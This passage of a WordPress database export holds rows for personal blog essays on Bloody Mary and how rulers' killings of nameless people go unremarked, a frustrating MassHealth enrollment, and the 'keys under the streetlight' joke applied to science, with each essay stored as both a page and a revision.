Protestants in an attempt to reverse the Reformation, and turn England Catholic again. This is probably what you’d expect from someone called “Bloody”, so you might be wondering why this is misleading at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, it’s less because of who this was applied to, and more because of who it wasn’t applied to: anyone else. Take Elizabeth, for example. Elizabeth had a lot of blood on her hands. Elizabeth starved an estimated 30,000 people to death in her scorched earth war against the rebellious Irish peasants. Or, take her predecessor, Edward VI, who killed 3000 peasants and hanged the rest for the crime of not wanting their common land to be fenced off. Both of them killed a fair number of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Irish that Elizabeth killed were Catholic. The peasants that Edward VI killed were Protestant. Neither of them were ever called bloody, either in their own time or in ours. They weren’t called bloody because being bloody only applies to rulers when they kill important people. The people that Elizabeth and Edward killed were, by and large, poor, nameless peasants<a href=\"https://trevorklee.substack.com/p/bloody-mary-was-not-exceptionally#footnote-2-122732222\">2</a>, and killing a poor, nameless peasant isn’t considered a heinous crime in the same way that killing someone with a Wikipedia page is, especially if you yourself have a Wikipedia page.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m being somewhat facetious here, but I think there’s something to this, even in the present day. Take, for example, the “conspiracy theory” that Bill and Hillary Clinton have had people killed for political reasons. Now, if you look this up on Wikipedia, it’ll tell you that this is false, because there’s no proof that Bill or Hillary ever killed any of their political aides.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s a red herring. I doubt Bill and Hillary have ever killed any of their political aides, but I have zero doubt they’ve killed people for political reasons. It’s a matter of public record. For example, Bill Clinton sent out American soldiers to bomb Iraq for 4 days, without a declaration of war or even a valid pretext for war, as a distraction from his impeachment hearings.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These bombings killed or wounded somewhere between 242 (according to the Iraqis) and 1400 (according to the Americans) Iraqi “military personnel”, which, by definition, includes the janitors who swept the floors of Iraqi bases. These bombings accomplished nothing but interrupting television proceedings of Bill Clinton’s impeachment. In other words, they were entirely for political reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, somehow, we forget about those people. That’s because killing anonymous “military personnel” is ok. It’s ok in the same way that “collateral damage” in George Bush’s war in Iraq was ok, or Obama and Trump’s “mowing of the grass” by drone striking suspicious trucks in Pakistan and Yemen was ok. Rulers, throughout history, have been considered tyrants if they oppress or kill important people, but killing the nameless has never a tyrant made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s some part of me that wants to blame this on the West specifically or the type of people who tend to end up as rulers, or even formal systems of government. But I think there’s also something more innate to human nature at work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been replaying&nbsp;<em>Fallout: New Vegas</em>&nbsp;recently. For those of you who aren’t gamers, it’s a videogame in which you’re thrust into a post-apocalyptic future, one in which the Soviets and Americans successfully nuclear bombed each other into oblivion and the remnants of humanity are left to rebuild civilization after the fallout (hence the name).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The post-apocalyptic world you’re thrust into is alternately grim and grimly funny, sometimes grounded in bloody reality and sometimes featuring negotiations with rusty sex robots. Most importantly, however, it puts the idea of player choice at the front and center of every event. You can save the wasteland, take over the wasteland, impose peaceful order on the wasteland, cut a bloody swathe across the wasteland, or any combination of the above.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This emphasis on player choice is pretty standard for a roleplaying game.&nbsp;<em>Fallout: New Vegas</em>&nbsp;is just an exemplar and the game that happens to be top of my mind at the moment. You can play whatever role you’d like, including a mustache-twirling villain who launches nukes on innocent cities just for the fun of it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, at least, I assume you can, as the game gives you the option for doing so. I actually never manage to be that evil. Whenever the game presents me with an ethical dilemma, I almost always pick the one that seems the most good. Even when the game’s villain offers me thousands of bottle caps (the post-apocalyptic currency) to betray my friends, I still can’t quite bring myself to pick that option.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I have zero qualms about being “evil” in the game outside of ethical dilemmas. If an unnamed character with one voice line has a cool gun I want, I’ll kill them when nobody is looking and take the gun. Or, if someone has some very precious item in their house, I’ll steal it from right under their nose and not think twice about it, even as the game pops up dialogues telling me I’m losing karma and becoming known as a thug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s just hard for me to take that sort of evil seriously. These unnamed NPCs and people with items in their house that they have not been programmed to use just don’t seem like real people to me. Whatever empathy meter in my head that makes it impossible for me to participate in a digital Milgram experiment doesn’t register for videogame characters that I can’t have an emotional connection with before or after their death.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s maybe what it was like for Queen Elizabeth ordering the deaths of peasants, or Bill Clinton ordering the death of the dishwasher for the Iraqi army mess hall, or Barack Obama ordering the drone strike of a 14 year old son of a terrorist. They didn’t hear from them before they killed them, and they didn’t hear from them after, so it didn’t seem real either way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So Bloody Mary is bloody for killing the archbishop of Canterbury even after he publicly converted to Catholicism. Mohammed Bin Salman is “Mohammed Bone Saw” for ordering the assassination of a journalist in an embassy. The people they killed had voices before they died, and those voices echoed after they died, and so killing them was a crime. But killing the voiceless is just hard to empathize with.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bloody-mary-was-not-exceptionally#footnote-anchor-1-122732222\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was a popular topic for private speculation among her courtiers, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bloody-mary-was-not-exceptionally#footnote-anchor-2-122732222\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nameless to history, not to each other, presumably. Similarly, I assume the survivors of these massacres cursed these rulers but never wrote it down in history books.</p>\n<!-- /wp:paragraph -->','Bloody Mary was not especially bloody','','inherit','closed','closed','','395-revision-v1','','','2024-06-12 15:50:32','2024-06-12 15:50:32','',395,'https://trevorklee.com/?p=396',0,'revision','',0),
(397,1,'2024-06-12 15:51:24','2024-06-12 15:51:24','<!-- wp:paragraph -->\n<p>I recently helped a friend of mine enroll in MassHealth, Massaschusett’s very low cost public insurance for the indigent. This friend of mine is incredibly paperwork-averse, so much so that he has never had health insurance, even though he very much qualifies for it and MassHealth is a great deal (free primary care! $1 for generic prescriptions, $3.50 for name brand!) However, I got him to agree to let me apply for him, as I was confident that I have more of an appetite and aptitude for paperwork than he does.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>MassHealth, as insurance for low-income Massachusetts residents, really only has two requirements to qualify for it: be low income, and be a Massachusetts resident. And, to be clear, the former is the only requirement you have to prove, as you can simply testify to your residency without providing a rent statement or mortgage. So, in reality, all you really should need to apply to MassHealth is the affidavit form and a paystub.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, unfortunately, is not the case, as I found out. It is much more complicated than that. Please enjoy my step-by-step enrollment guide.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Try to sign up online, be informed that you have to use the one, unified account that applies to all Massachusetts online services. Ask your friend for his login and password to the unified account.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Discover that your friend started a health insurance application during the pandemic but never finished it. Because this application was started more than 30 days ago, you can no longer fill out an application online, but instead have to call the phone hotline.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The phone hotline is only open 9 am to 5 pm Monday-Friday. Call back later.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Call the phone hotline, and get informed that, despite the fact that you have your friend’s social security number, address, birthday, and name, you have to fax a scan of his ID to prove his identity. Do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. After waiting 48 hours, find out that whoever was in charge of processing the fax failed to enter his information correctly from the fax. This means that it’s impossible to continue with the application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Call back repeatedly trying to get in touch with the verification department. Get told by separate representatives that there is no verification department, then that the verification department works for the Massachusetts Health Connector (the insurance marketplace), and, when you call the Health Connector, that the verification department does not take outside calls.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Along the way, get disconnected randomly while talking to representatives, so you call back, go through the phone tree and the waiting music, then end up with a new representative who you have to explain the situation to all over again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. One representative tells you that this ID verification issue is not a problem, and that she’ll give you a code to apply online. Try to use the code, and then be informed once again that you can’t finish the application online, but you have to call the phone hotline.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>9. Give up on trying to figure this out over the phone. Get your friend to come with you to the in-person office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>10. The in-person office is next to the train station. You have to be buzzed in like it’s someone’s apartment. The receptionist doesn’t speak English, but fortunately, one of the workers there does.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>11. This worker helps you and your friend fill out your application, including finally properly verifying the ID. Then she tells you, “Ok, we need proof of your income and residency. You can sign this affidavit for your residency, but you need to print out your paystubs.” Ask her if you can use the printer that’s clearly set up for people to use, given that it’s next to a laptop that is open to the public. She says no, citing “confidentiality”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12. Instead, go to FedEx to print out your friend’s paystubs. At FedEx, the worker is very angry at you for asking him to print these paystubs, and your friend says it reminds him of Dave Chappelle’s Kinko’s sketch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>13. Go back to the office. This time, your new assistant is a woman who tells you that she has a Master’s and a PhD from Georgetown. She informs you that she’s not here to help you fill out your application, but instead to “inform you of your options”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>14. Notice that her desk says “Accenture Public Service”. Ask her if she works for Accenture. She says yes, and informs you that Accenture is the best consulting firm in the world at helping governments. Then she starts to lecture you on how to get tax credits for your private insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>15. Tell her that you don’t want private insurance, and that you only want MassHealth. She says she can’t guarantee you that you will get MassHealth. Say that you don’t care, you just need to finish the application now that you have proof of income and residency. She says, “I’m going to give you filling out the application online as your homework for today.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>16. Tell her absolutely not, and that she needs to help you finish the application because it’s been a very long week. She tries to pull up your application but spells your friend’s name wrong repeatedly and tells you that the computer’s not working. You get up and get the woman who helped you before, who then tells this Accenture PhD how to spell a very common American name.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>17. The Accenture woman will get very flustered as she works through your application, including failing multiple times at using a scanner to scan your friend’s paystubs and affidavit. At the end, when she finally manages it, she tells you, “In case you need to check on your application, let me write down a phone number you can call.” She gives you the phone number of the MassHealth hotline that you spent 6 or 7 hours on already.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>18. Wait 5 business days for the application to process.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>19. If there are no other problems, finally get MassHealth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>***</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know, I was tempted to just leave this listicle like this, but I just have to say: I’m a college educated guy with a flexible schedule who’s worked my way through a lot of paperwork, including incorporation forms, contracts, taxes, and FDA regulations. This took me 10+ hours, an in-person office visit, a lot of frustration, and a willingness to tell Accenture consultants to shove it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A single mother with only a high school education working 40 hours a week couldn’t possibly manage to go through the same application process that I did. And that’s unfortunate, because that is exactly the sort of person MassHealth is supposed to help.</p>\n<!-- /wp:paragraph -->','How to apply for MassHealth: an 18 step guide','','publish','closed','closed','','how-to-apply-for-masshealth-an-18-step-guide','','','2024-06-12 15:51:24','2024-06-12 15:51:24','',0,'https://trevorklee.com/?page_id=397',0,'page','',0),
(398,1,'2024-06-12 15:51:24','2024-06-12 15:51:24','<!-- wp:paragraph -->\n<p>I recently helped a friend of mine enroll in MassHealth, Massaschusett’s very low cost public insurance for the indigent. This friend of mine is incredibly paperwork-averse, so much so that he has never had health insurance, even though he very much qualifies for it and MassHealth is a great deal (free primary care! $1 for generic prescriptions, $3.50 for name brand!) However, I got him to agree to let me apply for him, as I was confident that I have more of an appetite and aptitude for paperwork than he does.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>MassHealth, as insurance for low-income Massachusetts residents, really only has two requirements to qualify for it: be low income, and be a Massachusetts resident. And, to be clear, the former is the only requirement you have to prove, as you can simply testify to your residency without providing a rent statement or mortgage. So, in reality, all you really should need to apply to MassHealth is the affidavit form and a paystub.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, unfortunately, is not the case, as I found out. It is much more complicated than that. Please enjoy my step-by-step enrollment guide.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Try to sign up online, be informed that you have to use the one, unified account that applies to all Massachusetts online services. Ask your friend for his login and password to the unified account.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Discover that your friend started a health insurance application during the pandemic but never finished it. Because this application was started more than 30 days ago, you can no longer fill out an application online, but instead have to call the phone hotline.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The phone hotline is only open 9 am to 5 pm Monday-Friday. Call back later.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Call the phone hotline, and get informed that, despite the fact that you have your friend’s social security number, address, birthday, and name, you have to fax a scan of his ID to prove his identity. Do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. After waiting 48 hours, find out that whoever was in charge of processing the fax failed to enter his information correctly from the fax. This means that it’s impossible to continue with the application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Call back repeatedly trying to get in touch with the verification department. Get told by separate representatives that there is no verification department, then that the verification department works for the Massachusetts Health Connector (the insurance marketplace), and, when you call the Health Connector, that the verification department does not take outside calls.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Along the way, get disconnected randomly while talking to representatives, so you call back, go through the phone tree and the waiting music, then end up with a new representative who you have to explain the situation to all over again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. One representative tells you that this ID verification issue is not a problem, and that she’ll give you a code to apply online. Try to use the code, and then be informed once again that you can’t finish the application online, but you have to call the phone hotline.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>9. Give up on trying to figure this out over the phone. Get your friend to come with you to the in-person office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>10. The in-person office is next to the train station. You have to be buzzed in like it’s someone’s apartment. The receptionist doesn’t speak English, but fortunately, one of the workers there does.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>11. This worker helps you and your friend fill out your application, including finally properly verifying the ID. Then she tells you, “Ok, we need proof of your income and residency. You can sign this affidavit for your residency, but you need to print out your paystubs.” Ask her if you can use the printer that’s clearly set up for people to use, given that it’s next to a laptop that is open to the public. She says no, citing “confidentiality”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12. Instead, go to FedEx to print out your friend’s paystubs. At FedEx, the worker is very angry at you for asking him to print these paystubs, and your friend says it reminds him of Dave Chappelle’s Kinko’s sketch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>13. Go back to the office. This time, your new assistant is a woman who tells you that she has a Master’s and a PhD from Georgetown. She informs you that she’s not here to help you fill out your application, but instead to “inform you of your options”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>14. Notice that her desk says “Accenture Public Service”. Ask her if she works for Accenture. She says yes, and informs you that Accenture is the best consulting firm in the world at helping governments. Then she starts to lecture you on how to get tax credits for your private insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>15. Tell her that you don’t want private insurance, and that you only want MassHealth. She says she can’t guarantee you that you will get MassHealth. Say that you don’t care, you just need to finish the application now that you have proof of income and residency. She says, “I’m going to give you filling out the application online as your homework for today.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>16. Tell her absolutely not, and that she needs to help you finish the application because it’s been a very long week. She tries to pull up your application but spells your friend’s name wrong repeatedly and tells you that the computer’s not working. You get up and get the woman who helped you before, who then tells this Accenture PhD how to spell a very common American name.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>17. The Accenture woman will get very flustered as she works through your application, including failing multiple times at using a scanner to scan your friend’s paystubs and affidavit. At the end, when she finally manages it, she tells you, “In case you need to check on your application, let me write down a phone number you can call.” She gives you the phone number of the MassHealth hotline that you spent 6 or 7 hours on already.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>18. Wait 5 business days for the application to process.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>19. If there are no other problems, finally get MassHealth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>***</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know, I was tempted to just leave this listicle like this, but I just have to say: I’m a college educated guy with a flexible schedule who’s worked my way through a lot of paperwork, including incorporation forms, contracts, taxes, and FDA regulations. This took me 10+ hours, an in-person office visit, a lot of frustration, and a willingness to tell Accenture consultants to shove it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A single mother with only a high school education working 40 hours a week couldn’t possibly manage to go through the same application process that I did. And that’s unfortunate, because that is exactly the sort of person MassHealth is supposed to help.</p>\n<!-- /wp:paragraph -->','How to apply for MassHealth: an 18 step guide','','inherit','closed','closed','','397-revision-v1','','','2024-06-12 15:51:24','2024-06-12 15:51:24','',397,'https://trevorklee.com/?p=398',0,'revision','',0),
(399,1,'2024-06-12 15:53:08','2024-06-12 15:53:08','<!-- wp:paragraph -->\n<p>Here’s one of my favorite jokes: a guy is walking home late at night, when he sees a drunk looking in the grass under a street lamp.<br><br>The guy asks what the drunk’s doing.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Looking for my keys,” the drunk says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The guy takes pity on the drunk and decides to help him look for his keys. They search the grass for about 20 minutes, and finally the guy tells the drunk that he doesn’t think his keys are there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Oh, I know,” says the drunk. “In fact, I’m pretty sure I lost my keys about 100 yards up the road that way.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“What?! Then why are we searching here?”<br><br>“Because the light is better here!”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, in my opinion, is a great joke. First, it’s pretty funny, and the punchline never fails to get at least a chuckle. Second, through its absurdity, I think it actually reveals something pretty profound about human nature.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83759e7b-3a51-4980-bb0d-2c1e055db536_563x570.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83759e7b-3a51-4980-bb0d-2c1e055db536_563x570.jpeg\" alt=\"1-X59CVJB_MOJTouxMkBiHSQ\" title=\"1-X59CVJB_MOJTouxMkBiHSQ\"/></a><figcaption class=\"wp-element-caption\">I found at least 3 comics with this exact joke. Someone found an example of this joke from a<a href=\"https://en.wikipedia.org/wiki/Nasreddin#Nasreddin\'s_ring\">&nbsp;13th century Sufi mystic</a>. So, I may not be original with this topic. Ah, well.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Whenever we look for anything, we look under the light. We have to; there’s no other option. We do that even if we know that under the light isn’t the best option, or maybe even if we know that under the light isn’t a good option at all. We end up wasting so much time this way, and yet we do it again and again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me give an example from my own line of work, biotech. I was talking to someone the other day about using calcineurin inhibitors for neurodegenerative disease. This is something I’ve thought a lot about: my own company’s drug is a calcineurin inhibitor, and curing neurodegenerative diseases is a major goal of mine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This guy I was talking to had been working on calcineurin inhibitors for a long time, at least 20+ years. I was eager to learn from him.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“You know,” he said, “if calcineurin inhibitors are going to work for any neurodegenerative disease, it’s Parkinson’s.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Really?” I said. “I’ve looked into it, and it really doesn’t seem like Parkinson’s pathology has anything do with calcineurin. There’s also no clinical evidence that it would have any effect, at least as far as I know.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Yeah, but Parkinson’s has alpha synuclein as a biomarker. You can measure it.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that was it for him. That was the crux of the issue. He didn’t think about whether Parkinson’s was the neurodegenerative disease where he was going to find his metaphorical keys, he just knew that the light of a biomarker was there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I see this pattern of looking where the light is again and again in the sciences. Early on in Covid, I found myself immensely frustrated by “experts” in epidemiology whose entire field was based on incredibly simple models of disease spread that didn’t even take into account the biology of the disease (e.g. whether it was airborne or spread through surfaces). Somehow, they had all gotten PhDs without ever even considering whether their models could be empirically validated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, of course, they couldn’t empirically validate their models, at least not before Covid. It was impossible to empirically validate a model about the spread of a pandemic, because there was barely any evidence to do so. But the field still needed to justify its existence and publish its papers, so they published their papers where the light was: computer models simple enough for an academic to tweak and run. Then, they convinced themselves (and a big part of the rest of the world) that’s where their keys were, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Examples abound elsewhere, too. In the startup world, so many startups try to address the problems of the most visible businesses (e.g. restaurants), even though those businesses are often a terrible market. Or, in the public policy world, hundreds of millions are spent on trying to help the small minority of visibly homeless people, and almost none on the vast majority of homeless people who are sleeping in their cars or on friends’ couches and trying not to be publicly known.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Everywhere we look, we look in the light. And if what we’re looking for isn’t in the light, and we refuse to bring a flashlight, we’ll waste our time searching the grass as surely as the drunk in my joke.</p>\n<!-- /wp:paragraph -->','Looking for your keys under the light','','publish','closed','closed','','looking-for-your-keys-under-the-light','','','2024-06-12 15:53:08','2024-06-12 15:53:08','',0,'https://trevorklee.com/?page_id=399',0,'page','',0),
(400,1,'2024-06-12 15:53:08','2024-06-12 15:53:08','<!-- wp:paragraph -->\n<p>Here’s one of my favorite jokes: a guy is walking home late at night, when he sees a drunk looking in the grass under a street lamp.<br><br>The guy asks what the drunk’s doing.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Looking for my keys,” the drunk says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The guy takes pity on the drunk and decides to help him look for his keys. They search the grass for about 20 minutes, and finally the guy tells the drunk that he doesn’t think his keys are there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Oh, I know,” says the drunk. “In fact, I’m pretty sure I lost my keys about 100 yards up the road that way.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“What?! Then why are we searching here?”<br><br>“Because the light is better here!”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, in my opinion, is a great joke. First, it’s pretty funny, and the punchline never fails to get at least a chuckle. Second, through its absurdity, I think it actually reveals something pretty profound about human nature.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83759e7b-3a51-4980-bb0d-2c1e055db536_563x570.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83759e7b-3a51-4980-bb0d-2c1e055db536_563x570.jpeg\" alt=\"1-X59CVJB_MOJTouxMkBiHSQ\" title=\"1-X59CVJB_MOJTouxMkBiHSQ\"/></a><figcaption class=\"wp-element-caption\">I found at least 3 comics with this exact joke. Someone found an example of this joke from a<a href=\"https://en.wikipedia.org/wiki/Nasreddin#Nasreddin\'s_ring\">&nbsp;13th century Sufi mystic</a>. So, I may not be original with this topic. Ah, well.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Whenever we look for anything, we look under the light. We have to; there’s no other option. We do that even if we know that under the light isn’t the best option, or maybe even if we know that under the light isn’t a good option at all. We end up wasting so much time this way, and yet we do it again and again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me give an example from my own line of work, biotech. I was talking to someone the other day about using calcineurin inhibitors for neurodegenerative disease. This is something I’ve thought a lot about: my own company’s drug is a calcineurin inhibitor, and curing neurodegenerative diseases is a major goal of mine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This guy I was talking to had been working on calcineurin inhibitors for a long time, at least 20+ years. I was eager to learn from him.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“You know,” he said, “if calcineurin inhibitors are going to work for any neurodegenerative disease, it’s Parkinson’s.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Really?” I said. “I’ve looked into it, and it really doesn’t seem like Parkinson’s pathology has anything do with calcineurin. There’s also no clinical evidence that it would have any effect, at least as far as I know.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Yeah, but Parkinson’s has alpha synuclein as a biomarker. You can measure it.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that was it for him. That was the crux of the issue. He didn’t think about whether Parkinson’s was the neurodegenerative disease where he was going to find his metaphorical keys, he just knew that the light of a biomarker was there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I see this pattern of looking where the light is again and again in the sciences. Early on in Covid, I found myself immensely frustrated by “experts” in epidemiology whose entire field was based on incredibly simple models of disease spread that didn’t even take into account the biology of the disease (e.g. whether it was airborne or spread through surfaces). Somehow, they had all gotten PhDs without ever even considering whether their models could be empirically validated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, of course, they couldn’t empirically validate their models, at least not before Covid. It was impossible to empirically validate a model about the spread of a pandemic, because there was barely any evidence to do so. But the field still needed to justify its existence and publish its papers, so they published their papers where the light was: computer models simple enough for an academic to tweak and run. Then, they convinced themselves (and a big part of the rest of the world) that’s where their keys were, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Examples abound elsewhere, too. In the startup world, so many startups try to address the problems of the most visible businesses (e.g. restaurants), even though those businesses are often a terrible market. Or, in the public policy world, hundreds of millions are spent on trying to help the small minority of visibly homeless people, and almost none on the vast majority of homeless people who are sleeping in their cars or on friends’ couches and trying not to be publicly known.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Everywhere we look, we look in the light. And if what we’re looking for isn’t in the light, and we refuse to bring a flashlight, we’ll waste our time searching the grass as surely as the drunk in my joke.</p>\n<!-- /wp:paragraph -->','Looking for your keys under the light','','inherit','closed','closed','','399-revision-v1','','','2024-06-12 15:53:08','2024-06-12 15:53:08','',399,'https://trevorklee.com/?p=400',0,'revision','',0),
